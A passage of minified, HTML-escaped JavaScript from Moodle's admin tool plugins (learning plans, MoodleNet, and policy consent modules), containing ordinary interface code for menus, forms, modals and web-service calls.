match=!1,curNdx=menuIndex+1;for(curNdx==menuNum&amp;&amp;(curNdx=0);curNdx!=menuIndex;){if(menuItems.eq(curNdx).html().charAt(0).toLowerCase()==startChr){match=!0;break}(curNdx+=1)==menuNum&amp;&amp;(curNdx=0)}return!0===match?(newItem=menuItems.eq(curNdx),item.removeClass(&quot;menu-focus&quot;),newItem):item}return newItem=menuIndex&lt;menuNum-1?menuItems.eq(menuIndex+1):menuItems.first(),item.removeClass(&quot;menu-focus&quot;),newItem},Menubar.prototype.moveUp=function(item){var itemUL=item.parent(),menuItems=itemUL.children(&quot;li&quot;).not(&quot;.separator&quot;),menuIndex=menuItems.index(item),newItem=null;return itemUL.is(&quot;.tool-lp-menu&quot;)?item:(newItem=menuIndex&gt;0?menuItems.eq(menuIndex-1):menuItems.last(),item.removeClass(&quot;menu-focus&quot;),newItem)},Menubar.prototype.addAriaAttributes=function(){this.menuRoot.attr(&quot;role&quot;,&quot;menubar&quot;),this.rootMenus.attr(&quot;role&quot;,&quot;menuitem&quot;),this.rootMenus.attr(&quot;tabindex&quot;,&quot;0&quot;),this.rootMenus.attr(&quot;aria-haspopup&quot;,&quot;true&quot;),this.subMenus.attr(&quot;role&quot;,&quot;menu&quot;),this.subMenus.attr(&quot;aria-hidden&quot;,&quot;true&quot;),this.subMenuItems.attr(&quot;role&quot;,&quot;menuitem&quot;),this.subMenuItems.attr(&quot;tabindex&quot;,&quot;-1&quot;),this.menuRoot.addClass(&quot;tool-lp-menu&quot;),this.allItems.addClass(&quot;tool-lp-menu-item&quot;),this.rootMenus.addClass(&quot;tool-lp-root-menu&quot;),this.subMenus.addClass(&quot;tool-lp-sub-menu&quot;),this.subMenuItems.addClass(&quot;dropdown-item&quot;)},{enhance:function(selector,handler){$(selector).each((function(index,element){var menuRoot=$(element);!0!==menuRoot.data(&quot;menubarEnhanced&quot;)&amp;&amp;(new Menubar(menuRoot,handler),menuRoot.data(&quot;menubarEnhanced&quot;,!0))}))},closeAll:closeAllSubMenus}}));
/**
 * Competency rule points module.
 *
 * @module     tool_lp/competency_rule_all
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competency_rule_points&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;tool_lp/competency_rule&quot;],(function($,Str,Templates,RuleBase){var Rule=function(){RuleBase.apply(this,arguments)};return(Rule.prototype=Object.create(RuleBase.prototype))._container=null,Rule.prototype._templateLoaded=!1,Rule.prototype.getConfig=function(){return JSON.stringify({base:{points:this._getRequiredPoints()},competencies:this._getCompetenciesConfig()})},Rule.prototype._getCompetenciesConfig=function(){var competencies=[];return this._container.find(&quot;[data-competency]&quot;).each((function(){var node=$(this),id=node.data(&quot;competency&quot;),points=parseInt(node.find(&#039;[name=&quot;points&quot;]&#039;).val(),10),required=node.find(&#039;[name=&quot;required&quot;]&#039;).prop(&quot;checked&quot;);competencies.push({id:id,points:points,required:required?1:0})})),competencies},Rule.prototype._getRequiredPoints=function(){return parseInt(this._container.find(&#039;[name=&quot;requiredpoints&quot;]&#039;).val()||1,10)},Rule.prototype.getType=function(){return&quot;core_competency\\competency_rule_points&quot;},Rule.prototype.injectTemplate=function(container){var context,self=this,children=this._tree.getChildren(this._competency.id),config={base:{points:2},competencies:[]};if(this._templateLoaded=!1,self._competency.ruletype==self.getType())try{config=JSON.parse(self._competency.ruleconfig)}catch(e){}return context={requiredpoints:config&amp;&amp;config.base?config.base.points:2,competency:self._competency,children:[]},$.each(children,(function(index,child){var competency={id:child.id,shortname:child.shortname,required:!1,points:0};config&amp;&amp;$.each(config.competencies,(function(index,comp){comp.id==competency.id&amp;&amp;(competency.required=!!comp.required,competency.points=comp.points)})),context.children.push(competency)})),Templates.render(&quot;tool_lp/competency_rule_points&quot;,context).then((function(html){self._container=container,container.html(html),container.find(&quot;input&quot;).change((function(){self._triggerChange()})),self._templateLoaded=!0,self._triggerChange()}))},Rule.prototype.isValid=function(){if(!this._templateLoaded)return!1;var required=this._getRequiredPoints(),max=0,valid=!0;return $.each(this._getCompetenciesConfig(),(function(index,competency){competency.points&lt;0&amp;&amp;(valid=!1),max+=competency.points})),valid=valid&amp;&amp;max&gt;=required},Rule}));
/**
 * Frameworks datasource.
 *
 * This module is compatible with core/form-autocomplete.
 *
 * @module     tool_lp/frameworks_datasource
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/frameworks_datasource&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function($,Ajax,Notification){return{list:function(contextId,options){var args={context:{contextid:contextId}};return $.extend(args,void 0===options?{}:options),Ajax.call([{methodname:&quot;core_competency_list_competency_frameworks&quot;,args:args}])[0]},processResults:function(selector,results){var options=[];return $.each(results,(function(index,data){options.push({value:data.id,label:data.shortname+&quot; &quot;+data.idnumber})})),options},transport:function(selector,query,callback){var el=$(selector),contextId=el.data(&quot;contextid&quot;),onlyVisible=el.data(&quot;onlyvisible&quot;);if(!contextId)throw new Error(&quot;The attribute data-contextid is required on &quot;+selector);this.list(contextId,{query:query,onlyvisible:onlyVisible}).then(callback).catch(Notification.exception)}}}));
/**
 * Handle opening a dialogue to configure scale data.
 *
 * @module     tool_lp/scaleconfig
 * @copyright  2015 Adrian Greeve &lt;adrian@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/scaleconfig&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/ajax&quot;,&quot;tool_lp/dialogue&quot;,&quot;tool_lp/scalevalues&quot;],(function($,notification,templates,ajax,Dialogue,ModScaleValues){var ScaleConfig=function(selectSelector,inputSelector,triggerSelector){this.selectSelector=selectSelector,this.inputSelector=inputSelector,this.triggerSelector=triggerSelector,this.originalscaleid=$(selectSelector).val(),$(selectSelector).on(&quot;change&quot;,this.scaleChangeHandler.bind(this)).change(),$(triggerSelector).click(this.showConfig.bind(this))};return ScaleConfig.prototype.selectSelector=null,ScaleConfig.prototype.inputSelector=null,ScaleConfig.prototype.triggerSelector=null,ScaleConfig.prototype.scalevalues=null,ScaleConfig.prototype.originalscaleid=0,ScaleConfig.prototype.scaleid=0,ScaleConfig.prototype.popup=null,ScaleConfig.prototype.showConfig=function(){var self=this;if(this.scaleid=$(this.selectSelector).val(),!(this.scaleid&lt;=0)){var scalename=$(this.selectSelector).find(&quot;option:selected&quot;).text();this.getScaleValues(this.scaleid).done((function(){var context={scalename:scalename,scales:self.scalevalues};templates.render(&quot;tool_lp/scale_configuration_page&quot;,context).done((function(html){new Dialogue(scalename,html,self.initScaleConfig.bind(self))})).fail(notification.exception)})).fail(notification.exception)}},ScaleConfig.prototype.retrieveOriginalScaleConfig=function(){var jsonstring=$(this.inputSelector).val();if(&quot;&quot;!==jsonstring){var scaleconfiguration=$.parseJSON(jsonstring);if(scaleconfiguration.shift().scaleid===this.originalscaleid)return scaleconfiguration}return&quot;&quot;},ScaleConfig.prototype.initScaleConfig=function(popup){this.popup=popup;var body=$(popup.getContent());if(this.originalscaleid===this.scaleid){var currentconfig=this.retrieveOriginalScaleConfig();&quot;&quot;!==currentconfig&amp;&amp;currentconfig.forEach((function(value){1===value.scaledefault&amp;&amp;body.find(&#039;[data-field=&quot;tool_lp_scale_default_&#039;+value.id+&#039;&quot;]&#039;).attr(&quot;checked&quot;,!0),1===value.proficient&amp;&amp;body.find(&#039;[data-field=&quot;tool_lp_scale_proficient_&#039;+value.id+&#039;&quot;]&#039;).attr(&quot;checked&quot;,!0)}))}body.on(&quot;click&quot;,&#039;[data-action=&quot;close&quot;]&#039;,function(){this.setScaleConfig(),popup.close()}.bind(this)),body.on(&quot;click&quot;,&#039;[data-action=&quot;cancel&quot;]&#039;,(function(){popup.close()}))},ScaleConfig.prototype.setScaleConfig=function(){var body=$(this.popup.getContent()),data=[{scaleid:this.scaleid}];this.scalevalues.forEach((function(value){var scaledefault=0,proficient=0;body.find(&#039;[data-field=&quot;tool_lp_scale_default_&#039;+value.id+&#039;&quot;]&#039;).is(&quot;:checked&quot;)&amp;&amp;(scaledefault=1),body.find(&#039;[data-field=&quot;tool_lp_scale_proficient_&#039;+value.id+&#039;&quot;]&#039;).is(&quot;:checked&quot;)&amp;&amp;(proficient=1),(scaledefault||proficient)&amp;&amp;data.push({id:value.id,scaledefault:scaledefault,proficient:proficient})}));var datastring=JSON.stringify(data);$(this.inputSelector).val(datastring),this.originalscaleid=this.scaleid},ScaleConfig.prototype.getScaleValues=function(scaleid){return ModScaleValues.get_values(scaleid).then(function(values){return this.scalevalues=values,values}.bind(this))},ScaleConfig.prototype.scaleChangeHandler=function(e){$(e.target).val()&lt;=0?$(this.triggerSelector).prop(&quot;disabled&quot;,!0):$(this.triggerSelector).prop(&quot;disabled&quot;,!1)},{init:function(selectSelector,inputSelector,triggerSelector){return new ScaleConfig(selectSelector,inputSelector,triggerSelector)}}}));
/**
 * When returning to Moodle let the user select which course to add the resource to.
 *
 * @module     tool_moodlenet/select_page
 * @copyright  2020 Mathew May &lt;mathew.solutions&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_moodlenet/select_page&quot;,[&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;tool_moodlenet/selectors&quot;,&quot;core/notification&quot;],(function(Ajax,Templates,Selectors,Notification){var importId,searchCourses=function(inputValue,page,areaReplace){var searchIcon=page.querySelector(Selectors.region.searchIcon),clearIcon=page.querySelector(Selectors.region.clearIcon);&quot;&quot;!==inputValue?(searchIcon.classList.add(&quot;d-none&quot;),clearIcon.parentElement.classList.remove(&quot;d-none&quot;)):(searchIcon.classList.remove(&quot;d-none&quot;),clearIcon.parentElement.classList.add(&quot;d-none&quot;));var args={searchvalue:inputValue};Ajax.call([{methodname:&quot;tool_moodlenet_search_courses&quot;,args:args}])[0].then((function(result){return 0===result.courses.length?function(areaReplace){return Templates.renderPix(&quot;courses&quot;,&quot;tool_moodlenet&quot;).then((function(img){return img})).then((function(img){var temp=document.createElement(&quot;div&quot;);return temp.innerHTML=img.trim(),Templates.render(&quot;core_course/no-courses&quot;,{nocoursesimg:temp.firstChild.src})})).then((function(html,js){Templates.replaceNodeContents(areaReplace,html,js),areaReplace.classList.add(&quot;mx-auto&quot;),areaReplace.classList.add(&quot;w-25&quot;)}))}(areaReplace):(result.courses.forEach((function(course){course.viewurl+=&quot;&amp;id=&quot;+importId})),function(areaReplace,courses){return Templates.render(&quot;tool_moodlenet/view-cards&quot;,{courses:courses}).then((function(html,js){Templates.replaceNodeContents(areaReplace,html,js),areaReplace.classList.remove(&quot;mx-auto&quot;),areaReplace.classList.remove(&quot;w-25&quot;)}))}(areaReplace,result.courses))})).catch(Notification.exception)},registerListenerEvents=function(page){var input=page.querySelector(Selectors.region.searchInput),courseArea=page.querySelector(Selectors.region.courses);page.querySelector(Selectors.region.clearIcon).addEventListener(&quot;click&quot;,(function(){input.value=&quot;&quot;,searchCourses(&quot;&quot;,page,courseArea)})),input.addEventListener(&quot;input&quot;,debounce((function(){searchCourses(input.value,page,courseArea)}),300))},addCourses=function(page){var courseArea=page.querySelector(Selectors.region.courses);searchCourses(&quot;&quot;,page,courseArea)},debounce=function(func,wait,immediate){var timeout;return function(){var context=this,args=arguments,later=function(){timeout=null,immediate||func.apply(context,args)},callNow=immediate&amp;&amp;!timeout;clearTimeout(timeout),timeout=setTimeout(later,wait),callNow&amp;&amp;func.apply(context,args)}};return{init:function(importIdString){importId=importIdString;var page=document.querySelector(Selectors.region.selectPage);registerListenerEvents(page),addCourses(page)}}}));
/**
 * Our validator that splits the user&#039;s input then fires off to a webservice
 *
 * @module     tool_moodlenet/validator
 * @copyright  2020 Mathew May &lt;mathew.solutions&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_moodlenet/validator&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,Ajax,Str,Notification){return{validation:function(inputElement){var inputValue=inputElement.value;return&quot;&quot;!==inputValue&amp;&amp;inputValue.includes(&quot;@&quot;)||$.when(Str.get_string(&quot;profilevalidationerror&quot;,&quot;tool_moodlenet&quot;)).then((function(strings){return Promise.reject().catch((function(){return{result:!1,message:strings[0]}}))})).fail(Notification.exception),Ajax.call([{methodname:&quot;tool_moodlenet_verify_webfinger&quot;,args:{profileurl:inputValue,course:inputElement.dataset.courseid,section:inputElement.dataset.sectionid}}])[0].then((function(result){return result})).catch()}}}));
/**
 * Define all of the selectors we will be using within MoodleNet plugin.
 *
 * @module     tool_moodlenet/selectors
 * @copyright  2020 Mathew May &lt;mathew.solutions&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_moodlenet/selectors&quot;,[],(function(){return{action:{browse:&#039;[data-action=&quot;browse&quot;]&#039;,submit:&#039;[data-action=&quot;submit&quot;]&#039;,showMoodleNet:&#039;[data-action=&quot;show-moodlenet&quot;]&#039;,closeOption:&#039;[data-action=&quot;close-chooser-option-summary&quot;]&#039;},region:{clearIcon:&#039;[data-region=&quot;clear-icon&quot;]&#039;,courses:&#039;[data-region=&quot;mnet-courses&quot;]&#039;,instancePage:&#039;[data-region=&quot;moodle-net&quot;]&#039;,searchInput:&#039;[data-region=&quot;search-input&quot;]&#039;,searchIcon:&#039;[data-region=&quot;search-icon&quot;]&#039;,selectPage:&#039;[data-region=&quot;moodle-net-select&quot;]&#039;,spinner:&#039;[data-region=&quot;spinner&quot;]&#039;,validationArea:&#039;[data-region=&quot;validation-area&quot;]&#039;,carousel:&#039;[data-region=&quot;carousel&quot;]&#039;,moodleNet:&#039;[data-region=&quot;pluginCarousel&quot;]&#039;}}}));
/**
 * Our basic form manager for when a user either enters
 * their profile url or just wants to browse.
 *
 * This file is a mishmash of JS functions we need for both the standalone (M3.7, M3.8)
 * plugin &amp; Moodle 3.9 functions. The 3.9 Functions have a base understanding that certain
 * things exist i.e. directory structures for templates. When this feature goes 3.9+ only
 * The goal is that we can quickly gut all AMD modules into bare JS files and use ES6 guidelines.
 * Till then this will have to do.
 *
 * @module     tool_moodlenet/instance_form
 * @copyright  2020 Mathew May &lt;mathew.solutions&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_moodlenet/instance_form&quot;,[&quot;tool_moodlenet/validator&quot;,&quot;tool_moodlenet/selectors&quot;,&quot;core/loadingicon&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;jquery&quot;],(function(Validator,Selectors,LoadingIcon,Templates,Notification,$){var chooserNavigateToMnet=function(showMoodleNet,footerData,carousel,modal){showMoodleNet.innerHTML=&quot;&quot;;var page,spinnerPromise=LoadingIcon.addIconToContainer(showMoodleNet),transitionPromiseResolver=null,transitionPromise=new Promise((resolve=&gt;{transitionPromiseResolver=resolve}));$.when(spinnerPromise,transitionPromise).then((function(){Templates.replaceNodeContents(showMoodleNet,footerData.customcarouseltemplate,&quot;&quot;)})).catch(Notification.exception),(page=showMoodleNet).addEventListener(&quot;click&quot;,(function(e){if(e.target.matches(Selectors.action.submit)){var input=page.querySelector(&#039;[data-var=&quot;mnet-link&quot;]&#039;),overlay=page.querySelector(Selectors.region.spinner),validationArea=document.querySelector(Selectors.region.validationArea);overlay.classList.remove(&quot;d-none&quot;);var spinner=LoadingIcon.addIconToContainerWithPromise(overlay);Validator.validation(input).then((function(result){spinner.resolve(),overlay.classList.add(&quot;d-none&quot;),result.result?(input.classList.remove(&quot;is-invalid&quot;),input.classList.add(&quot;is-valid&quot;),validationArea.innerText=result.message,validationArea.classList.remove(&quot;text-danger&quot;),validationArea.classList.add(&quot;text-success&quot;),setTimeout((function(){window.location=result.domain}),1e3)):(input.classList.add(&quot;is-invalid&quot;),validationArea.innerText=result.message,validationArea.classList.add(&quot;text-danger&quot;))})).catch()}})),carousel.one(&quot;slid.bs.carousel&quot;,(function(){transitionPromiseResolver()})),carousel.carousel(2),modal.setFooter(Templates.render(&quot;tool_moodlenet/chooser_footer_close_mnet&quot;,{}))};return{footerClickListener:function(e,footerData,modal){if(e.target.matches(Selectors.action.showMoodleNet)||e.target.closest(Selectors.action.showMoodleNet)){e.preventDefault();const carousel=$(modal.getBody()[0].querySelector(Selectors.region.carousel)),showMoodleNet=carousel.find(Selectors.region.moodleNet)[0];chooserNavigateToMnet(showMoodleNet,footerData,carousel,modal)}if(e.target.matches(Selectors.action.closeOption)){!function(carousel,modal,footerData){carousel.carousel(0),modal.setFooter(footerData.customfootertemplate)}($(modal.getBody()[0].querySelector(Selectors.region.carousel)),modal,footerData)}}}}));
/**
 * Add policy consent modal to the page
 *
 * @module     tool_policy/acceptmodal
 * @copyright  2018 Marina Glancy
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_policy/acceptmodal&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/notification&quot;,&quot;core/fragment&quot;,&quot;core/ajax&quot;,&quot;core_form/changechecker&quot;],(function($,Str,ModalFactory,ModalEvents,Notification,Fragment,Ajax,FormChangeChecker){var AcceptOnBehalf=function(contextid){this.contextid=contextid,this.init()};return AcceptOnBehalf.prototype.modal=null,AcceptOnBehalf.prototype.contextid=-1,AcceptOnBehalf.prototype.currentTrigger=null,AcceptOnBehalf.prototype.triggers={SINGLE:&quot;a[data-action=acceptmodal]&quot;,BULK:&quot;input[data-action=acceptmodal]&quot;},AcceptOnBehalf.prototype.init=function(){$(this.triggers.SINGLE).on(&quot;click&quot;,function(e){e.preventDefault(),this.currentTrigger=$(e.currentTarget);var href=$(e.currentTarget).attr(&quot;href&quot;),formData=href.slice(href.indexOf(&quot;?&quot;)+1);this.showFormModal(formData)}.bind(this)),$(this.triggers.BULK).on(&quot;click&quot;,function(e){e.preventDefault(),this.currentTrigger=$(e.currentTarget);var form=$(e.currentTarget).closest(&quot;form&quot;);if(form.find(&#039;input[type=checkbox][name=&quot;userids[]&quot;]:checked&#039;).length){var formData=form.serialize();this.showFormModal(formData)}else Str.get_strings([{key:&quot;notice&quot;},{key:&quot;selectusersforconsent&quot;,component:&quot;tool_policy&quot;},{key:&quot;ok&quot;}]).then((function(strings){Notification.alert(strings[0],strings[1],strings[2])})).fail(Notification.exception)}.bind(this))},AcceptOnBehalf.prototype.showFormModal=function(formData){for(var action,params=formData.split(&quot;&amp;&quot;),i=0;i&lt;params.length;i++){var pair=params[i].split(&quot;=&quot;);&quot;action&quot;==pair[0]&amp;&amp;(action=pair[1])}Str.get_strings([{key:&quot;statusformtitleaccept&quot;,component:&quot;tool_policy&quot;},{key:&quot;iagreetothepolicy&quot;,component:&quot;tool_policy&quot;},{key:&quot;statusformtitlerevoke&quot;,component:&quot;tool_policy&quot;},{key:&quot;irevokethepolicy&quot;,component:&quot;tool_policy&quot;},{key:&quot;statusformtitledecline&quot;,component:&quot;tool_policy&quot;},{key:&quot;declinethepolicy&quot;,component:&quot;tool_policy&quot;}]).then(function(strings){var title,saveText;return&quot;accept&quot;==action?(title=strings[0],saveText=strings[1]):&quot;revoke&quot;==action?(title=strings[2],saveText=strings[3]):&quot;decline&quot;==action&amp;&amp;(title=strings[4],saveText=strings[5]),ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,title:title,body:&quot;&quot;}).done(function(modal){this.modal=modal,this.setupFormModal(formData,saveText)}.bind(this))}.bind(this)).catch(Notification.exception)},AcceptOnBehalf.prototype.setupFormModal=function(formData,saveText){var modal=this.modal;modal.setLarge(),modal.setSaveButtonText(saveText),modal.getRoot().on(ModalEvents.hidden,this.destroy.bind(this)),modal.setBody(this.getBody(formData)),modal.getRoot().on(ModalEvents.save,this.submitForm.bind(this)),modal.getRoot().on(&quot;submit&quot;,&quot;form&quot;,this.submitFormAjax.bind(this)),modal.show()},AcceptOnBehalf.prototype.getBody=function(formData){void 0===formData&amp;&amp;(formData={});var params={jsonformdata:JSON.stringify(formData)};return Fragment.loadFragment(&quot;tool_policy&quot;,&quot;accept_on_behalf&quot;,this.contextid,params)},AcceptOnBehalf.prototype.submitFormAjax=function(e){e.preventDefault();var formData=this.modal.getRoot().find(&quot;form&quot;).serialize();Ajax.call([{methodname:&quot;tool_policy_submit_accept_on_behalf&quot;,args:{jsonformdata:JSON.stringify(formData)}}])[0].done(function(data){data.validationerrors?this.modal.setBody(this.getBody(formData)):this.close()}.bind(this)).fail(Notification.exception)},AcceptOnBehalf.prototype.submitForm=function(e){e.preventDefault(),this.modal.getRoot().find(&quot;form&quot;).submit()},AcceptOnBehalf.prototype.close=function(){this.destroy(),document.location.reload()},AcceptOnBehalf.prototype.destroy=function(){FormChangeChecker.resetAllFormDirtyStates(),this.modal.destroy(),this.currentTrigger.focus()},{getInstance:function(contextid){return new AcceptOnBehalf(contextid)}}}));
/**
 * Unified filter page JS module for the course participants page.
 *
 * @module     tool_policy/acceptances_filter
 * @copyright  2017 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_policy/acceptances_filter&quot;,[&quot;jquery&quot;,&quot;core/form-autocomplete&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,Autocomplete,Str,Notification){var SELECTORS_UNIFIED_FILTERS=&quot;#unified-filters&quot;;return{init:function(){!function(){M.util.js_pending(&quot;acceptances_filter_datasource&quot;),Str.get_strings([{key:&quot;filterplaceholder&quot;,component:&quot;tool_policy&quot;},{key:&quot;nofiltersapplied&quot;,component:&quot;tool_policy&quot;}]).done((function(langstrings){var placeholder=langstrings[0],noSelectionString=langstrings[1];Autocomplete.enhance(SELECTORS_UNIFIED_FILTERS,!0,&quot;tool_policy/acceptances_filter_datasource&quot;,placeholder,!1,!0,noSelectionString,!0).then((function(){M.util.js_complete(&quot;acceptances_filter_datasource&quot;)})).fail(Notification.exception)})).fail(Notification.exception);var last=$(SELECTORS_UNIFIED_FILTERS).val();$(SELECTORS_UNIFIED_FILTERS).on(&quot;change&quot;,(function(){var current=$(this).val(),listoffilters=[],textfilters=[],updatedselectedfilters=!1;if($.each(current,(function(index,catoption){var catandoption=catoption.split(&quot;:&quot;,2);if(2!==catandoption.length)return textfilters.push(catoption),!0;var category=catandoption[0],option=catandoption[1];return void 0!==listoffilters[category]&amp;&amp;(updatedselectedfilters=!0),listoffilters[category]=option,!0})),updatedselectedfilters){var updatefilters=[];for(var category in listoffilters)updatefilters.push(category+&quot;:&quot;+listoffilters[category]);updatefilters=updatefilters.concat(textfilters),$(this).val(updatefilters)}last.join(&quot;,&quot;)!=current.join(&quot;,&quot;)&amp;&amp;this.form.submit()}))}()},getForm:function(){return $(SELECTORS_UNIFIED_FILTERS).closest(&quot;form&quot;)}}}));
/**
 * Adds support for confirmation via JS modal for some management actions at the Manage policies page.
 *
 * @module      tool_policy/managedocsactions
 * @copyright   2018 David Mudrák &lt;david@moodle.com&gt;
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_policy/managedocsactions&quot;,[&quot;jquery&quot;,&quot;core/log&quot;,&quot;core/config&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function($,Log,Config,Str,ModalFactory,ModalEvents){var ACTION_LINKS=&quot;[data-action]&quot;,ACTION_MAKE_CURRENT=&#039;[data-action=&quot;makecurrent&quot;]&#039;,ACTION_INACTIVATE=&#039;[data-action=&quot;inactivate&quot;]&#039;,ACTION_DELETE=&#039;[data-action=&quot;delete&quot;]&#039;;function ManageDocsActions(base){this.base=base,this.initEvents()}return ManageDocsActions.prototype.initEvents=function(){this.base.on(&quot;click&quot;,ACTION_LINKS,(function(e){e.stopPropagation();var promise,strings,link=$(e.currentTarget);if(link.is(ACTION_MAKE_CURRENT))promise=Str.get_strings([{key:&quot;activating&quot;,component:&quot;tool_policy&quot;},{key:&quot;activateconfirm&quot;,component:&quot;tool_policy&quot;,param:{name:link.closest(&quot;[data-policy-name]&quot;).attr(&quot;data-policy-name&quot;),revision:link.closest(&quot;[data-policy-revision]&quot;).attr(&quot;data-policy-revision&quot;)}},{key:&quot;activateconfirmyes&quot;,component:&quot;tool_policy&quot;}]);else if(link.is(ACTION_INACTIVATE))promise=Str.get_strings([{key:&quot;inactivating&quot;,component:&quot;tool_policy&quot;},{key:&quot;inactivatingconfirm&quot;,component:&quot;tool_policy&quot;,param:{name:link.closest(&quot;[data-policy-name]&quot;).attr(&quot;data-policy-name&quot;),revision:link.closest(&quot;[data-policy-revision]&quot;).attr(&quot;data-policy-revision&quot;)}},{key:&quot;inactivatingconfirmyes&quot;,component:&quot;tool_policy&quot;}]);else{if(!link.is(ACTION_DELETE))return void Log.error(&quot;unknown action type detected&quot;,&quot;tool_policy/managedocsactions&quot;);promise=Str.get_strings([{key:&quot;deleting&quot;,component:&quot;tool_policy&quot;},{key:&quot;deleteconfirm&quot;,component:&quot;tool_policy&quot;,param:{name:link.closest(&quot;[data-policy-name]&quot;).attr(&quot;data-policy-name&quot;),revision:link.closest(&quot;[data-policy-revision]&quot;).attr(&quot;data-policy-revision&quot;)}},{key:&quot;delete&quot;,component:&quot;core&quot;}])}e.preventDefault(),promise.then((function(strs){return strings=strs,ModalFactory.create({title:strings[0],body:strings[1],type:ModalFactory.types.SAVE_CANCEL})})).then((function(modal){return modal.setSaveButtonText(strings[2]),modal.getRoot().on(ModalEvents.save,(function(){window.location.href=link.attr(&quot;href&quot;)+&quot;&amp;sesskey=&quot;+Config.sesskey+&quot;&amp;confirm=1&quot;})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show(),!0})).catch((function(e){return Log.error(e),!1}))}))},{init:function(baseid){var base=$(document.getElementById(baseid));if(base.length)return new ManageDocsActions(base);throw new Error(&quot;managedocsactions: Invalid base element identifier&quot;)}}}));
/**
 * Datasource for the tool_policy/acceptances_filter.
 *
 * This module is compatible with core/form-autocomplete.
 *
 * @copyright  2017 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_policy/acceptances_filter_datasource&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function($,Ajax,Notification){return{list:function(selector,query){var filteredOptions=[],el=$(selector),originalOptions=$(selector).data(&quot;originaloptionsjson&quot;),selectedFilters=el.val();$.each(originalOptions,(function(index,option){return&quot;&quot;!==query.trim()&amp;&amp;-1===option.label.toLocaleLowerCase().indexOf(query.toLocaleLowerCase())||$.inArray(option.value,selectedFilters)&gt;-1||filteredOptions.push(option),!0}));var deferred=new $.Deferred;return deferred.resolve(filteredOptions),deferred.promise()},processResults:function(selector,results){var options=[];return $.each(results,(function(index,data){options.push({value:data.value,label:data.label})})),options},transport:function(selector,query,callback){this.list(selector,query).then(callback).catch(Notification.exception)}}}));
/**
 * Policy actions.
 *
 * @module     tool_policy/policyactions
 * @copyright  2018 Sara Arjona (sara@moodle.com)
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_policy/policyactions&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function($,Ajax,Notification,ModalFactory,ModalEvents){var PolicyActions=function(root){this.registerEvents(root)};return PolicyActions.prototype.registerEvents=function(root){root.on(&quot;click&quot;,(function(e){e.preventDefault();var request={methodname:&quot;tool_policy_get_policy_version&quot;,args:{versionid:$(this).data(&quot;versionid&quot;),behalfid:$(this).data(&quot;behalfid&quot;)}},modalTitle=$.Deferred(),modalBody=$.Deferred(),modal=ModalFactory.create({title:modalTitle,body:modalBody,large:!0}).then((function(modal){return modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal})).then((function(modal){return modal.show(),modal})).catch(Notification.exception),promises=Ajax.call([request]);$.when(promises[0]).then((function(data){if(data.result.policy)return modalTitle.resolve(data.result.policy.name),modalBody.resolve(data.result.policy.content),data;throw new Error(data.warnings[0].message)})).catch((function(message){return modal.then((function(modal){return modal.hide(),modal.destroy(),modal})).catch(Notification.exception),Notification.addNotification({message:message,type:&quot;error&quot;})}))}))},{init:function(root){return root=$(root),new PolicyActions(root)}}}));
define(&quot;tool_policy/jquery-eu-cookie-law-popup&quot;,[&quot;jquery&quot;],(function($){window.console||(window.console={}),window.console.log||(window.console.log=function(){}),$.fn.euCookieLawPopup=function(){var _self=this;_self.params={cookiePolicyUrl:&quot;/?cookie-policy&quot;,popupPosition:&quot;top&quot;,colorStyle:&quot;default&quot;,compactStyle:!1,popupTitle:&quot;This website is using cookies&quot;,popupText:&quot;We use cookies to ensure that we give you the best experience on our website. If you continue without changing your settings, we&#039;ll assume that you are happy to receive all cookies on this website.&quot;,buttonContinueTitle:&quot;Continue&quot;,buttonLearnmoreTitle:&quot;Learn&amp;nbsp;more&quot;,buttonLearnmoreOpenInNewWindow:!0,agreementExpiresInDays:30,autoAcceptCookiePolicy:!1,htmlMarkup:null},_self.vars={INITIALISED:!1,HTML_MARKUP:null,COOKIE_NAME:&quot;EU_COOKIE_LAW_CONSENT&quot;};var setUserAcceptsCookies=function(consent){var d=new Date,expiresInDays=24*_self.params.agreementExpiresInDays*60*60*1e3;d.setTime(d.getTime()+expiresInDays);var 